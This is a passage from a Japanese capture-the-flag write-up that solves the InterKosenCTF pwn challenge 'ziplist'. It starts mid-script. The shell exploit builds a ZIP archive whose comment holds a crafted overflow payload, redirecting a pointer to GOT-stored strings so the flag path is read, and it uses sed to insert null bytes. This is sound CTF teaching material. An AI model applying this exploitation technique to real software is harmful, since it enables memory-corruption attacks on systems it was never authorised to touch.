'print "\xbbhome\xbbpwn\xbbflag"'`" # readfileの第一引数 echo 'neko' > "$PWN_STACKPROTECTOR1" echo 'chan' > "$PWN_STACKPROTECTOR2" echo 'neko' > "$PWN_STRING_AFTER_EXIT1" echo 'chan' > "$PWN_STRING_AFTER_EXIT2" echo 'neko' > "$PWN_PERROR_TO_READFILE1" echo 'chan' > "$PWN_PERROR_TO_READFILE2" echo 'nekochannano' > nekochannano # main関数のローカル変数 char *comment[64] に書き込まれるZIPコメントにGOT領域に保存して置いた文字列のポインターを入れて置きます。 python2 -c 'print "難し過ぎるわ" + "ABCDEFGHIJKLMNOPQRSTUVWXYZ"*2 + "AB\x78\x20\x60\xaa\xaa\xaa\xaa\xaaA"' | zip -z winners.zip \ "$PWN_STACKPROTECTOR1" \ "$PWN_STACKPROTECTOR2" \ "$PWN_PERROR_TO_READFILE1" \ "$PWN_PERROR_TO_READFILE2" \ "$PWN_STRING_AFTER_EXIT1" \ "$PWN_STRING_AFTER_EXIT2" \ nekochannano \<200c> # sedでzipコマンドで使えないヌール文字を変換します。 sed -i -s 's/\xaa/\x00/g' winners.zip sed -i -s 's/\xbb/\//g' winners.zip
結果
最後に、生成したzipアーカイブをウェブサーバーにアップロードすると、、!
以上 #InterKosenCTF の Pwn問題「ziplist」の解答方法でした。